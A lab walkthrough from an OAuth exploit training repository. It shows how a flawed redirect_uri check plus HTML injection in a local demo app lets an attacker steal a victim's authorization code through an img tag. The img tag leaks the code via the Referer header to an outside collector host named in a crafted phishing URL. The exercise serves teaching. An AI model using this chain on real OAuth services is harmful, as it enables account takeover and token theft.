This is an exercise that exploits the directory traversal and xss vulnerability. The goal is to gail access token that tied to victim's account.
$ git clone https://github.com/melonattacker/oauth-exploit-lab.git
$ cd oauth-exploit-lab/exercise/ex6
$ docker-compose up -d
target | URL |
---|---|
client | http://localhost:10000 |
username | password |
---|---|
bob(attacker) | hoge |
tom(victim) | huga |
Looking at line 64 of authorizationServer/app.py, you can see that the redirect_uri check is insufficient. URLs like http://localhost:10000/callback/../hoge
can bypass the check. This is interpreted as http://localhost:10000/hoge
in this demo application.
url_parsed: str = urllib.parse.urlparse(request.args.get('redirect_uri'))
if not (url_parsed.netloc == 'localhost:10000' and url_parsed.path[:9] == '/callback'):
print('Mismatched redirect URI, expected %s but got %s' % (client['redirect_uris'], request.args.get('redirect_uri')))
return render_template('error.html', error='Invalid redirect URI')
And any string can be inserted into the html at the client endpoint /test
.
@app.route("/test", methods=["GET"])
def test():
return f'''
<meta name="referrer" content="no-referrer-when-downgrade">
<p>Hello, {request.args.get('name')}</p>
'''
Javascript can't be executed because CSP is set.
@app.after_request
def after_request(response):
csp = ""
csp += "script-src 'none';"
csp += "base-uri 'none';"
csp += "connect-src 'self';"
response.headers['Content-Security-Policy'] = csp
return response
But you may still be able to use a simple HTML injection to steal authorization codes. For example, consider the following img element: <img src="attacker.com">
. When attempting to fetch this image, some browsers (such as Firefox) will send the full URL in the Referer header of the request, including the query string. In this case, since the following meta tag is set, the Referer will always be the full path.
<meta name="referrer" content="no-referrer-when-downgrade">
Redirects to /test
using directory traversal, and uses xss to send the authorization code included in the query parameters to the attacker's server.
First go through the authorization process and create a URL containing redirect uri. To do that, you can use exploit/create_url.py
. Please rewrite attacker_server
to your own server.
$ python3 exploit/create_url.py
Fishing URL: http://localhost:10001/authorize?response_type=code&client_id=oauth-client-1&redirect_uri=http%3A%2F%2Flocalhost%3A10000%2Fcallback%2F..%2Ftest%3Fname%3D%3Cimg+src%3D%22https%3A%2F%2Feox46ajjoxojy6f.m.pipedream.net%22%3E&state=ZFDT77NHLFMU6XXOMUQGTK68EFYFFMEX&scope=hoge+huga
Then login as tom(victim) and access the fishing URL. Clicking the Approve
button sends an authorization code to the attacker's server.
Log in as bob(attacker) and access the following URL to issue an access token.
http://localhost:10000/callback?code=51FT16II&state=ZFDT77NHLFMU6XXOMUQGTK68EFYFFMEX
Press the Get Protected Resource
button to see tom's resources.